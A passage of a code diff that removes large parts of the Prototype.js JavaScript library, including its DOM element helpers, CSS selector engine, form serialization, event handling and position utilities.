1000); - }, - - onTimerEvent: function() { - this.updater = new Ajax.Updater(this.container, this.url, this.options); - } -}); -function $(element) { - if (arguments.length > 1) { - for (var i = 0, elements = [], length = arguments.length; i < length; i++) - elements.push($(arguments[i])); - return elements; - } - if (typeof element == 'string') - element = document.getElementById(element); - return Element.extend(element); -} - -if (Prototype.BrowserFeatures.XPath) { - document._getElementsByXPath = function(expression, parentElement) { - var results = []; - var query = document.evaluate(expression, $(parentElement) || document, - null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); - for (var i = 0, length = query.snapshotLength; i < length; i++) - results.push(query.snapshotItem(i)); - return results; - }; -} - -document.getElementsByClassName = function(className, parentElement) { - if (Prototype.BrowserFeatures.XPath) { - var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]"; - return document._getElementsByXPath(q, parentElement); - } else { - var children = ($(parentElement) || document.body).getElementsByTagName('*'); - var elements = [], child; - for (var i = 0, length = children.length; i < length; i++) { - child = children[i]; - if (Element.hasClassName(child, className)) - elements.push(Element.extend(child)); - } - return elements; - } -}; - -/*--------------------------------------------------------------------------*/ - -if (!window.Element) - var Element = new Object(); - -Element.extend = function(element) { - if (!element || _nativeExtensions || element.nodeType == 3) return element; - - if (!element._extended && element.tagName && element != window) { - var methods = Object.clone(Element.Methods), cache = Element.extend.cache; - - if (element.tagName == 'FORM') - Object.extend(methods, Form.Methods); - if (['INPUT', 'TEXTAREA', 'SELECT'].include(element.tagName)) - Object.extend(methods, Form.Element.Methods); - - Object.extend(methods, Element.Methods.Simulated); - - for (var property in methods) { - var value = methods[property]; - if (typeof value == 'function' && !(property in element)) - element[property] = cache.findOrStore(value); - } - } - - element._extended = true; - return element; -}; - -Element.extend.cache = { - findOrStore: function(value) { - return this[value] = this[value] || function() { - return value.apply(null, [this].concat($A(arguments))); - } - } -}; - -Element.Methods = { - visible: function(element) { - return $(element).style.display != 'none'; - }, - - toggle: function(element) { - element = $(element); - Element[Element.visible(element) ? 'hide' : 'show'](element); - return element; - }, - - hide: function(element) { - $(element).style.display = 'none'; - return element; - }, - - show: function(element) { - $(element).style.display = ''; - return element; - }, - - remove: function(element) { - element = $(element); - element.parentNode.removeChild(element); - return element; - }, - - update: function(element, html) { - html = typeof html == 'undefined' ? '' : html.toString(); - $(element).innerHTML = html.stripScripts(); - setTimeout(function() {html.evalScripts()}, 10); - return element; - }, - - replace: function(element, html) { - element = $(element); - html = typeof html == 'undefined' ? '' : html.toString(); - if (element.outerHTML) { - element.outerHTML = html.stripScripts(); - } else { - var range = element.ownerDocument.createRange(); - range.selectNodeContents(element); - element.parentNode.replaceChild( - range.createContextualFragment(html.stripScripts()), element); - } - setTimeout(function() {html.evalScripts()}, 10); - return element; - }, - - inspect: function(element) { - element = $(element); - var result = '<' + element.tagName.toLowerCase(); - $H({'id': 'id', 'className': 'class'}).each(function(pair) { - var property = pair.first(), attribute = pair.last(); - var value = (element[property] || '').toString(); - if (value) result += ' ' + attribute + '=' + value.inspect(true); - }); - return result + '>'; - }, - - recursivelyCollect: function(element, property) { - element = $(element); - var elements = []; - while (element = element[property]) - if (element.nodeType == 1) - elements.push(Element.extend(element)); - return elements; - }, - - ancestors: function(element) { - return $(element).recursivelyCollect('parentNode'); - }, - - descendants: function(element) { - return $A($(element).getElementsByTagName('*')); - }, - - immediateDescendants: function(element) { - if (!(element = $(element).firstChild)) return []; - while (element && element.nodeType != 1) element = element.nextSibling; - if (element) return [element].concat($(element).nextSiblings()); - return []; - }, - - previousSiblings: function(element) { - return $(element).recursivelyCollect('previousSibling'); - }, - - nextSiblings: function(element) { - return $(element).recursivelyCollect('nextSibling'); - }, - - siblings: function(element) { - element = $(element); - return element.previousSiblings().reverse().concat(element.nextSiblings()); - }, - - match: function(element, selector) { - if (typeof selector == 'string') - selector = new Selector(selector); - return selector.match($(element)); - }, - - up: function(element, expression, index) { - return Selector.findElement($(element).ancestors(), expression, index); - }, - - down: function(element, expression, index) { - return Selector.findElement($(element).descendants(), expression, index); - }, - - previous: function(element, expression, index) { - return Selector.findElement($(element).previousSiblings(), expression, index); - }, - - next: function(element, expression, index) { - return Selector.findElement($(element).nextSiblings(), expression, index); - }, - - getElementsBySelector: function() { - var args = $A(arguments), element = $(args.shift()); - return Selector.findChildElements(element, args); - }, - - getElementsByClassName: function(element, className) { - return document.getElementsByClassName(className, element); - }, - - readAttribute: function(element, name) { - element = $(element); - if (document.all && !window.opera) { - var t = Element._attributeTranslations; - if (t.values[name]) return t.values[name](element, name); - if (t.names[name]) name = t.names[name]; - var attribute = element.attributes[name]; - if(attribute) return attribute.nodeValue; - } - return element.getAttribute(name); - }, - - getHeight: function(element) { - return $(element).getDimensions().height; - }, - - getWidth: function(element) { - return $(element).getDimensions().width; - }, - - classNames: function(element) { - return new Element.ClassNames(element); - }, - - hasClassName: function(element, className) { - if (!(element = $(element))) return; - var elementClassName = element.className; - if (elementClassName.length == 0) return false; - if (elementClassName == className || - elementClassName.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) - return true; - return false; - }, - - addClassName: function(element, className) { - if (!(element = $(element))) return; - Element.classNames(element).add(className); - return element; - }, - - removeClassName: function(element, className) { - if (!(element = $(element))) return; - Element.classNames(element).remove(className); - return element; - }, - - toggleClassName: function(element, className) { - if (!(element = $(element))) return; - Element.classNames(element)[element.hasClassName(className) ? 'remove' : 'add'](className); - return element; - }, - - observe: function() { - Event.observe.apply(Event, arguments); - return $A(arguments).first(); - }, - - stopObserving: function() { - Event.stopObserving.apply(Event, arguments); - return $A(arguments).first(); - }, - - // removes whitespace-only text node children - cleanWhitespace: function(element) { - element = $(element); - var node = element.firstChild; - while (node) { - var nextNode = node.nextSibling; - if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) - element.removeChild(node); - node = nextNode; - } - return element; - }, - - empty: function(element) { - return $(element).innerHTML.match(/^\s*$/); - }, - - descendantOf: function(element, ancestor) { - element = $(element), ancestor = $(ancestor); - while (element = element.parentNode) - if (element == ancestor) return true; - return false; - }, - - scrollTo: function(element) { - element = $(element); - var pos = Position.cumulativeOffset(element); - window.scrollTo(pos[0], pos[1]); - return element; - }, - - getStyle: function(element, style) { - element = $(element); - if (['float','cssFloat'].include(style)) - style = (typeof element.style.styleFloat != 'undefined' ? 'styleFloat' : 'cssFloat'); - style = style.camelize(); - var value = element.style[style]; - if (!value) { - if (document.defaultView && document.defaultView.getComputedStyle) { - var css = document.defaultView.getComputedStyle(element, null); - value = css ? css[style] : null; - } else if (element.currentStyle) { - value = element.currentStyle[style]; - } - } - - if((value == 'auto') && ['width','height'].include(style) && (element.getStyle('display') != 'none')) - value = element['offset'+style.capitalize()] + 'px'; - - if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) - if (Element.getStyle(element, 'position') == 'static') value = 'auto'; - if(style == 'opacity') { - if(value) return parseFloat(value); - if(value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) - if(value[1]) return parseFloat(value[1]) / 100; - return 1.0; - } - return value == 'auto' ? null : value; - }, - - setStyle: function(element, style) { - element = $(element); - for (var name in style) { - var value = style[name]; - if(name == 'opacity') { - if (value == 1) { - value = (/Gecko/.test(navigator.userAgent) && - !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? 0.999999 : 1.0; - if(/MSIE/.test(navigator.userAgent) && !window.opera) - element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); - } else if(value == '') { - if(/MSIE/.test(navigator.userAgent) && !window.opera) - element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); - } else { - if(value < 0.00001) value = 0; - if(/MSIE/.test(navigator.userAgent) && !window.opera) - element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,'') + - 'alpha(opacity='+value*100+')'; - } - } else if(['float','cssFloat'].include(name)) name = (typeof element.style.styleFloat != 'undefined') ? 'styleFloat' : 'cssFloat'; - element.style[name.camelize()] = value; - } - return element; - }, - - getDimensions: function(element) { - element = $(element); - var display = $(element).getStyle('display'); - if (display != 'none' && display != null) // Safari bug - return {width: element.offsetWidth, height: element.offsetHeight}; - - // All *Width and *Height properties give 0 on elements with display none, - // so enable the element temporarily - var els = element.style; - var originalVisibility = els.visibility; - var originalPosition = els.position; - var originalDisplay = els.display; - els.visibility = 'hidden'; - els.position = 'absolute'; - els.display = 'block'; - var originalWidth = element.clientWidth; - var originalHeight = element.clientHeight; - els.display = originalDisplay; - els.position = originalPosition; - els.visibility = originalVisibility; - return {width: originalWidth, height: originalHeight}; - }, - - makePositioned: function(element) { - element = $(element); - var pos = Element.getStyle(element, 'position'); - if (pos == 'static' || !pos) { - element._madePositioned = true; - element.style.position = 'relative'; - // Opera returns the offset relative to the positioning context, when an - // element is position relative but top and left have not been defined - if (window.opera) { - element.style.top = 0; - element.style.left = 0; - } - } - return element; - }, - - undoPositioned: function(element) { - element = $(element); - if (element._madePositioned) { - element._madePositioned = undefined; - element.style.position = - element.style.top = - element.style.left = - element.style.bottom = - element.style.right = ''; - } - return element; - }, - - makeClipping: function(element) { - element = $(element); - if (element._overflow) return element; - element._overflow = element.style.overflow || 'auto'; - if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') - element.style.overflow = 'hidden'; - return element; - }, - - undoClipping: function(element) { - element = $(element); - if (!element._overflow) return element; - element.style.overflow = element._overflow == 'auto' ? '' : element._overflow; - element._overflow = null; - return element; - } -}; - -Object.extend(Element.Methods, {childOf: Element.Methods.descendantOf}); - -Element._attributeTranslations = {}; - -Element._attributeTranslations.names = { - colspan: "colSpan", - rowspan: "rowSpan", - valign: "vAlign", - datetime: "dateTime", - accesskey: "accessKey", - tabindex: "tabIndex", - enctype: "encType", - maxlength: "maxLength", - readonly: "readOnly", - longdesc: "longDesc" -}; - -Element._attributeTranslations.values = { - _getAttr: function(element, attribute) { - return element.getAttribute(attribute, 2); - }, - - _flag: function(element, attribute) { - return $(element).hasAttribute(attribute) ? attribute : null; - }, - - style: function(element) { - return element.style.cssText.toLowerCase(); - }, - - title: function(element) { - var node = element.getAttributeNode('title'); - return node.specified ? node.nodeValue : null; - } -}; - -Object.extend(Element._attributeTranslations.values, { - href: Element._attributeTranslations.values._getAttr, - src: Element._attributeTranslations.values._getAttr, - disabled: Element._attributeTranslations.values._flag, - checked: Element._attributeTranslations.values._flag, - readonly: Element._attributeTranslations.values._flag, - multiple: Element._attributeTranslations.values._flag -}); - -Element.Methods.Simulated = { - hasAttribute: function(element, attribute) { - var t = Element._attributeTranslations; - attribute = t.names[attribute] || attribute; - return $(element).getAttributeNode(attribute).specified; - } -}; - -// IE is missing .innerHTML support for TABLE-related elements -if (document.all && !window.opera){ - Element.Methods.update = function(element, html) { - element = $(element); - html = typeof html == 'undefined' ? '' : html.toString(); - var tagName = element.tagName.toUpperCase(); - if (['THEAD','TBODY','TR','TD'].include(tagName)) { - var div = document.createElement('div'); - switch (tagName) { - case 'THEAD': - case 'TBODY': - div.innerHTML = '' + html.stripScripts() + '
    '; - depth = 2; - break; - case 'TR': - div.innerHTML = '' + html.stripScripts() + '
    '; - depth = 3; - break; - case 'TD': - div.innerHTML = '
    ' + html.stripScripts() + '
    '; - depth = 4; - } - $A(element.childNodes).each(function(node){ - element.removeChild(node) - }); - depth.times(function(){ div = div.firstChild }); - - $A(div.childNodes).each( - function(node){ element.appendChild(node) }); - } else { - element.innerHTML = html.stripScripts(); - } - setTimeout(function() {html.evalScripts()}, 10); - return element; - } -}; - -Object.extend(Element, Element.Methods); - -var _nativeExtensions = false; - -if(/Konqueror|Safari|KHTML/.test(navigator.userAgent)) - ['', 'Form', 'Input', 'TextArea', 'Select'].each(function(tag) { - var className = 'HTML' + tag + 'Element'; - if(window[className]) return; - var klass = window[className] = {}; - klass.prototype = document.createElement(tag ? tag.toLowerCase() : 'div').__proto__; - }); - -Element.addMethods = function(methods) { - Object.extend(Element.Methods, methods || {}); - - function copy(methods, destination, onlyIfAbsent) { - onlyIfAbsent = onlyIfAbsent || false; - var cache = Element.extend.cache; - for (var property in methods) { - var value = methods[property]; - if (!onlyIfAbsent || !(property in destination)) - destination[property] = cache.findOrStore(value); - } - } - - if (typeof HTMLElement != 'undefined') { - copy(Element.Methods, HTMLElement.prototype); - copy(Element.Methods.Simulated, HTMLElement.prototype, true); - copy(Form.Methods, HTMLFormElement.prototype); - [HTMLInputElement, HTMLTextAreaElement, HTMLSelectElement].each(function(klass) { - copy(Form.Element.Methods, klass.prototype); - }); - _nativeExtensions = true; - } -} - -var Toggle = new Object(); -Toggle.display = Element.toggle; - -/*--------------------------------------------------------------------------*/ - -Abstract.Insertion = function(adjacency) { - this.adjacency = adjacency; -} - -Abstract.Insertion.prototype = { - initialize: function(element, content) { - this.element = $(element); - this.content = content.stripScripts(); - - if (this.adjacency && this.element.insertAdjacentHTML) { - try { - this.element.insertAdjacentHTML(this.adjacency, this.content); - } catch (e) { - var tagName = this.element.tagName.toUpperCase(); - if (['TBODY', 'TR'].include(tagName)) { - this.insertContent(this.contentFromAnonymousTable()); - } else { - throw e; - } - } - } else { - this.range = this.element.ownerDocument.createRange(); - if (this.initializeRange) this.initializeRange(); - this.insertContent([this.range.createContextualFragment(this.content)]); - } - - setTimeout(function() {content.evalScripts()}, 10); - }, - - contentFromAnonymousTable: function() { - var div = document.createElement('div'); - div.innerHTML = '' + this.content + '
    '; - return $A(div.childNodes[0].childNodes[0].childNodes); - } -} - -var Insertion = new Object(); - -Insertion.Before = Class.create(); -Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { - initializeRange: function() { - this.range.setStartBefore(this.element); - }, - - insertContent: function(fragments) { - fragments.each((function(fragment) { - this.element.parentNode.insertBefore(fragment, this.element); - }).bind(this)); - } -}); - -Insertion.Top = Class.create(); -Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { - initializeRange: function() { - this.range.selectNodeContents(this.element); - this.range.collapse(true); - }, - - insertContent: function(fragments) { - fragments.reverse(false).each((function(fragment) { - this.element.insertBefore(fragment, this.element.firstChild); - }).bind(this)); - } -}); - -Insertion.Bottom = Class.create(); -Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { - initializeRange: function() { - this.range.selectNodeContents(this.element); - this.range.collapse(this.element); - }, - - insertContent: function(fragments) { - fragments.each((function(fragment) { - this.element.appendChild(fragment); - }).bind(this)); - } -}); - -Insertion.After = Class.create(); -Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { - initializeRange: function() { - this.range.setStartAfter(this.element); - }, - - insertContent: function(fragments) { - fragments.each((function(fragment) { - this.element.parentNode.insertBefore(fragment, - this.element.nextSibling); - }).bind(this)); - } -}); - -/*--------------------------------------------------------------------------*/ - -Element.ClassNames = Class.create(); -Element.ClassNames.prototype = { - initialize: function(element) { - this.element = $(element); - }, - - _each: function(iterator) { - this.element.className.split(/\s+/).select(function(name) { - return name.length > 0; - })._each(iterator); - }, - - set: function(className) { - this.element.className = className; - }, - - add: function(classNameToAdd) { - if (this.include(classNameToAdd)) return; - this.set($A(this).concat(classNameToAdd).join(' ')); - }, - - remove: function(classNameToRemove) { - if (!this.include(classNameToRemove)) return; - this.set($A(this).without(classNameToRemove).join(' ')); - }, - - toString: function() { - return $A(this).join(' '); - } -}; - -Object.extend(Element.ClassNames.prototype, Enumerable); -var Selector = Class.create(); -Selector.prototype = { - initialize: function(expression) { - this.params = {classNames: []}; - this.expression = expression.toString().strip(); - this.parseExpression(); - this.compileMatcher(); - }, - - parseExpression: function() { - function abort(message) { throw 'Parse error in selector: ' + message; } - - if (this.expression == '') abort('empty expression'); - - var params = this.params, expr = this.expression, match, modifier, clause, rest; - while (match = expr.match(/^(.*)\[([a-z0-9_:-]+?)(?:([~\|!]?=)(?:"([^"]*)"|([^\]\s]*)))?\]$/i)) { - params.attributes = params.attributes || []; - params.attributes.push({name: match[2], operator: match[3], value: match[4] || match[5] || ''}); - expr = match[1]; - } - - if (expr == '*') return this.params.wildcard = true; - - while (match = expr.match(/^([^a-z0-9_-])?([a-z0-9_-]+)(.*)/i)) { - modifier = match[1], clause = match[2], rest = match[3]; - switch (modifier) { - case '#': params.id = clause; break; - case '.': params.classNames.push(clause); break; - case '': - case undefined: params.tagName = clause.toUpperCase(); break; - default: abort(expr.inspect()); - } - expr = rest; - } - - if (expr.length > 0) abort(expr.inspect()); - }, - - buildMatchExpression: function() { - var params = this.params, conditions = [], clause; - - if (params.wildcard) - conditions.push('true'); - if (clause = params.id) - conditions.push('element.readAttribute("id") == ' + clause.inspect()); - if (clause = params.tagName) - conditions.push('element.tagName.toUpperCase() == ' + clause.inspect()); - if ((clause = params.classNames).length > 0) - for (var i = 0, length = clause.length; i < length; i++) - conditions.push('element.hasClassName(' + clause[i].inspect() + ')'); - if (clause = params.attributes) { - clause.each(function(attribute) { - var value = 'element.readAttribute(' + attribute.name.inspect() + ')'; - var splitValueBy = function(delimiter) { - return value + ' && ' + value + '.split(' + delimiter.inspect() + ')'; - } - - switch (attribute.operator) { - case '=': conditions.push(value + ' == ' + attribute.value.inspect()); break; - case '~=': conditions.push(splitValueBy(' ') + '.include(' + attribute.value.inspect() + ')'); break; - case '|=': conditions.push( - splitValueBy('-') + '.first().toUpperCase() == ' + attribute.value.toUpperCase().inspect() - ); break; - case '!=': conditions.push(value + ' != ' + attribute.value.inspect()); break; - case '': - case undefined: conditions.push('element.hasAttribute(' + attribute.name.inspect() + ')'); break; - default: throw 'Unknown operator ' + attribute.operator + ' in selector'; - } - }); - } - - return conditions.join(' && '); - }, - - compileMatcher: function() { - this.match = new Function('element', 'if (!element.tagName) return false; \ - element = $(element); \ - return ' + this.buildMatchExpression()); - }, - - findElements: function(scope) { - var element; - - if (element = $(this.params.id)) - if (this.match(element)) - if (!scope || Element.childOf(element, scope)) - return [element]; - - scope = (scope || document).getElementsByTagName(this.params.tagName || '*'); - - var results = []; - for (var i = 0, length = scope.length; i < length; i++) - if (this.match(element = scope[i])) - results.push(Element.extend(element)); - - return results; - }, - - toString: function() { - return this.expression; - } -} - -Object.extend(Selector, { - matchElements: function(elements, expression) { - var selector = new Selector(expression); - return elements.select(selector.match.bind(selector)).map(Element.extend); - }, - - findElement: function(elements, expression, index) { - if (typeof expression == 'number') index = expression, expression = false; - return Selector.matchElements(elements, expression || '*')[index || 0]; - }, - - findChildElements: function(element, expressions) { - return expressions.map(function(expression) { - return expression.match(/[^\s"]+(?:"[^"]*"[^\s"]+)*/g).inject([null], function(results, expr) { - var selector = new Selector(expr); - return results.inject([], function(elements, result) { - return elements.concat(selector.findElements(result || element)); - }); - }); - }).flatten(); - } -}); - -function $$() { - return Selector.findChildElements(document, $A(arguments)); -} -var Form = { - reset: function(form) { - $(form).reset(); - return form; - }, - - serializeElements: function(elements, getHash) { - var data = elements.inject({}, function(result, element) { - if (!element.disabled && element.name) { - var key = element.name, value = $(element).getValue(); - if (value != undefined) { - if (result[key]) { - if (result[key].constructor != Array) result[key] = [result[key]]; - result[key].push(value); - } - else result[key] = value; - } - } - return result; - }); - - return getHash ? data : Hash.toQueryString(data); - } -}; - -Form.Methods = { - serialize: function(form, getHash) { - return Form.serializeElements(Form.getElements(form), getHash); - }, - - getElements: function(form) { - return $A($(form).getElementsByTagName('*')).inject([], - function(elements, child) { - if (Form.Element.Serializers[child.tagName.toLowerCase()]) - elements.push(Element.extend(child)); - return elements; - } - ); - }, - - getInputs: function(form, typeName, name) { - form = $(form); - var inputs = form.getElementsByTagName('input'); - - if (!typeName && !name) return $A(inputs).map(Element.extend); - - for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) { - var input = inputs[i]; - if ((typeName && input.type != typeName) || (name && input.name != name)) - continue; - matchingInputs.push(Element.extend(input)); - } - - return matchingInputs; - }, - - disable: function(form) { - form = $(form); - form.getElements().each(function(element) { - element.blur(); - element.disabled = 'true'; - }); - return form; - }, - - enable: function(form) { - form = $(form); - form.getElements().each(function(element) { - element.disabled = ''; - }); - return form; - }, - - findFirstElement: function(form) { - return $(form).getElements().find(function(element) { - return element.type != 'hidden' && !element.disabled && - ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); - }); - }, - - focusFirstElement: function(form) { - form = $(form); - form.findFirstElement().activate(); - return form; - } -} - -Object.extend(Form, Form.Methods); - -/*--------------------------------------------------------------------------*/ - -Form.Element = { - focus: function(element) { - $(element).focus(); - return element; - }, - - select: function(element) { - $(element).select(); - return element; - } -} - -Form.Element.Methods = { - serialize: function(element) { - element = $(element); - if (!element.disabled && element.name) { - var value = element.getValue(); - if (value != undefined) { - var pair = {}; - pair[element.name] = value; - return Hash.toQueryString(pair); - } - } - return ''; - }, - - getValue: function(element) { - element = $(element); - var method = element.tagName.toLowerCase(); - return Form.Element.Serializers[method](element); - }, - - clear: function(element) { - $(element).value = ''; - return element; - }, - - present: function(element) { - return $(element).value != ''; - }, - - activate: function(element) { - element = $(element); - element.focus(); - if (element.select && ( element.tagName.toLowerCase() != 'input' || - !['button', 'reset', 'submit'].include(element.type) ) ) - element.select(); - return element; - }, - - disable: function(element) { - element = $(element); - element.disabled = true; - return element; - }, - - enable: function(element) { - element = $(element); - element.blur(); - element.disabled = false; - return element; - } -} - -Object.extend(Form.Element, Form.Element.Methods); -var Field = Form.Element; -var $F = Form.Element.getValue; - -/*--------------------------------------------------------------------------*/ - -Form.Element.Serializers = { - input: function(element) { - switch (element.type.toLowerCase()) { - case 'checkbox': - case 'radio': - return Form.Element.Serializers.inputSelector(element); - default: - return Form.Element.Serializers.textarea(element); - } - }, - - inputSelector: function(element) { - return element.checked ? element.value : null; - }, - - textarea: function(element) { - return element.value; - }, - - select: function(element) { - return this[element.type == 'select-one' ? - 'selectOne' : 'selectMany'](element); - }, - - selectOne: function(element) { - var index = element.selectedIndex; - return index >= 0 ? this.optionValue(element.options[index]) : null; - }, - - selectMany: function(element) { - var values, length = element.length; - if (!length) return null; - - for (var i = 0, values = []; i < length; i++) { - var opt = element.options[i]; - if (opt.selected) values.push(this.optionValue(opt)); - } - return values; - }, - - optionValue: function(opt) { - // extend element because hasAttribute may not be native - return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text; - } -} - -/*--------------------------------------------------------------------------*/ - -Abstract.TimedObserver = function() {} -Abstract.TimedObserver.prototype = { - initialize: function(element, frequency, callback) { - this.frequency = frequency; - this.element = $(element); - this.callback = callback; - - this.lastValue = this.getValue(); - this.registerCallback(); - }, - - registerCallback: function() { - setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); - }, - - onTimerEvent: function() { - var value = this.getValue(); - var changed = ('string' == typeof this.lastValue && 'string' == typeof value - ? this.lastValue != value : String(this.lastValue) != String(value)); - if (changed) { - this.callback(this.element, value); - this.lastValue = value; - } - } -} - -Form.Element.Observer = Class.create(); -Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { - getValue: function() { - return Form.Element.getValue(this.element); - } -}); - -Form.Observer = Class.create(); -Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { - getValue: function() { - return Form.serialize(this.element); - } -}); - -/*--------------------------------------------------------------------------*/ - -Abstract.EventObserver = function() {} -Abstract.EventObserver.prototype = { - initialize: function(element, callback) { - this.element = $(element); - this.callback = callback; - - this.lastValue = this.getValue(); - if (this.element.tagName.toLowerCase() == 'form') - this.registerFormCallbacks(); - else - this.registerCallback(this.element); - }, - - onElementEvent: function() { - var value = this.getValue(); - if (this.lastValue != value) { - this.callback(this.element, value); - this.lastValue = value; - } - }, - - registerFormCallbacks: function() { - Form.getElements(this.element).each(this.registerCallback.bind(this)); - }, - - registerCallback: function(element) { - if (element.type) { - switch (element.type.toLowerCase()) { - case 'checkbox': - case 'radio': - Event.observe(element, 'click', this.onElementEvent.bind(this)); - break; - default: - Event.observe(element, 'change', this.onElementEvent.bind(this)); - break; - } - } - } -} - -Form.Element.EventObserver = Class.create(); -Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { - getValue: function() { - return Form.Element.getValue(this.element); - } -}); - -Form.EventObserver = Class.create(); -Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { - getValue: function() { - return Form.serialize(this.element); - } -}); -if (!window.Event) { - var Event = new Object(); -} - -Object.extend(Event, { - KEY_BACKSPACE: 8, - KEY_TAB: 9, - KEY_RETURN: 13, - KEY_ESC: 27, - KEY_LEFT: 37, - KEY_UP: 38, - KEY_RIGHT: 39, - KEY_DOWN: 40, - KEY_DELETE: 46, - KEY_HOME: 36, - KEY_END: 35, - KEY_PAGEUP: 33, - KEY_PAGEDOWN: 34, - - element: function(event) { - return event.target || event.srcElement; - }, - - isLeftClick: function(event) { - return (((event.which) && (event.which == 1)) || - ((event.button) && (event.button == 1))); - }, - - pointerX: function(event) { - return event.pageX || (event.clientX + - (document.documentElement.scrollLeft || document.body.scrollLeft)); - }, - - pointerY: function(event) { - return event.pageY || (event.clientY + - (document.documentElement.scrollTop || document.body.scrollTop)); - }, - - stop: function(event) { - if (event.preventDefault) { - event.preventDefault(); - event.stopPropagation(); - } else { - event.returnValue = false; - event.cancelBubble = true; - } - }, - - // find the first node with the given tagName, starting from the - // node the event was triggered on; traverses the DOM upwards - findElement: function(event, tagName) { - var element = Event.element(event); - while (element.parentNode && (!element.tagName || - (element.tagName.toUpperCase() != tagName.toUpperCase()))) - element = element.parentNode; - return element; - }, - - observers: false, - - _observeAndCache: function(element, name, observer, useCapture) { - if (!this.observers) this.observers = []; - if (element.addEventListener) { - this.observers.push([element, name, observer, useCapture]); - element.addEventListener(name, observer, useCapture); - } else if (element.attachEvent) { - this.observers.push([element, name, observer, useCapture]); - element.attachEvent('on' + name, observer); - } - }, - - unloadCache: function() { - if (!Event.observers) return; - for (var i = 0, length = Event.observers.length; i < length; i++) { - Event.stopObserving.apply(this, Event.observers[i]); - Event.observers[i][0] = null; - } - Event.observers = false; - }, - - observe: function(element, name, observer, useCapture) { - element = $(element); - useCapture = useCapture || false; - - if (name == 'keypress' && - (navigator.appVersion.match(/Konqueror|Safari|KHTML/) - || element.attachEvent)) - name = 'keydown'; - - Event._observeAndCache(element, name, observer, useCapture); - }, - - stopObserving: function(element, name, observer, useCapture) { - element = $(element); - useCapture = useCapture || false; - - if (name == 'keypress' && - (navigator.appVersion.match(/Konqueror|Safari|KHTML/) - || element.detachEvent)) - name = 'keydown'; - - if (element.removeEventListener) { - element.removeEventListener(name, observer, useCapture); - } else if (element.detachEvent) { - try { - element.detachEvent('on' + name, observer); - } catch (e) {} - } - } -}); - -/* prevent memory leaks in IE */ -if (navigator.appVersion.match(/\bMSIE\b/)) - Event.observe(window, 'unload', Event.unloadCache, false); -var Position = { - // set to true if needed, warning: firefox performance problems - // NOT neeeded for page scrolling, only if draggable contained in - // scrollable elements - includeScrollOffsets: false, - - // must be called before calling withinIncludingScrolloffset, every time the - // page is scrolled - prepare: function() { - this.deltaX = window.pageXOffset - || document.documentElement.scrollLeft - || document.body.scrollLeft - || 0; - this.deltaY = window.pageYOffset - || document.documentElement.scrollTop - || document.body.scrollTop - || 0; - }, - - realOffset: function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.scrollTop || 0; - valueL += element.scrollLeft || 0; - element = element.parentNode; - } while (element); - return [valueL, valueT]; - }, - - cumulativeOffset: function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.offsetTop || 0; - valueL += element.offsetLeft || 0; - element = element.offsetParent; - } while (element); - return [valueL, valueT]; - }, - - positionedOffset: function(element) { - var valueT = 0, valueL = 0; - do { - valueT += element.offsetTop || 0; - valueL += element.offsetLeft || 0; - element = element.offsetParent; - if (element) { - if(element.tagName=='BODY') break; - var p = Element.getStyle(element, 'position'); - if (p == 'relative' || p == 'absolute') break; - } - } while (element); - return [valueL, valueT]; - }, - - offsetParent: function(element) { - if (element.offsetParent) return element.offsetParent; - if (element == document.body) return element; - - while ((element = element.parentNode) && element != document.body) - if (Element.getStyle(element, 'position') != 'static') - return element; - - return document.body; - }, - - // caches x/y coordinate pair to use with overlap - within: function(element, x, y) { - if (this.includeScrollOffsets) - return this.withinIncludingScrolloffsets(element, x, y); - this.xcomp = x; - this.ycomp = y; - this.offset = this.cumulativeOffset(element); - - return (y >= this.offset[1] && - y < this.offset[1] + element.offsetHeight && - x >= this.offset[0] && - x < this.offset[0] + element.offsetWidth); - }, - - withinIncludingScrolloffsets: function(element, x, y) { - var offsetcache = this.realOffset(element); - - this.xcomp = x + offsetcache[0] - this.deltaX; - this.ycomp = y + offsetcache[1] - this.deltaY; - this.offset = this.cumulativeOffset(element); - - return (this.ycomp >= this.offset[1] && - this.ycomp < this.offset[1] + element.offsetHeight && - this.xcomp >= this.offset[0] && - this.xcomp < this.offset[0] + element.offsetWidth); - }, - - // within must be called directly before - overlap: function(mode, element) { - if (!mode) return 0; - if (mode == 'vertical') - return ((this.offset[1] + element.offsetHeight) - this.ycomp) / - element.offsetHeight; - if (mode == 'horizontal') - return ((this.offset[0] + element.offsetWidth) - this.xcomp) / - element.offsetWidth; - }, - - page: function(forElement) { - var valueT = 0, valueL = 0; - - var element = forElement; - do { - valueT += element.offsetTop || 0; - valueL += element.offsetLeft || 0; - - // Safari fix - if (element.offsetParent==document.body) - if (Element.getStyle(element,'position')=='absolute') break; - - } while (element = element.offsetParent); - - element = forElement; - do { - if (!window.opera || element.tagName=='BODY') { - valueT -= element.scrollTop || 0; - valueL -= element.scrollLeft || 0; - } - } while (element = element.parentNode); - - return [valueL, valueT]; - }, - - clone: function(source, target) { - var options = Object.extend({ - setLeft: true, - setTop: true, - setWidth: true, - setHeight: true, - offsetTop: 0, - offsetLeft: 0 - }, arguments[2] || {}) - - // find page position of source - source = $(source); - var p = Position.page(source); - - // find coordinate system to use - target = $(target); - 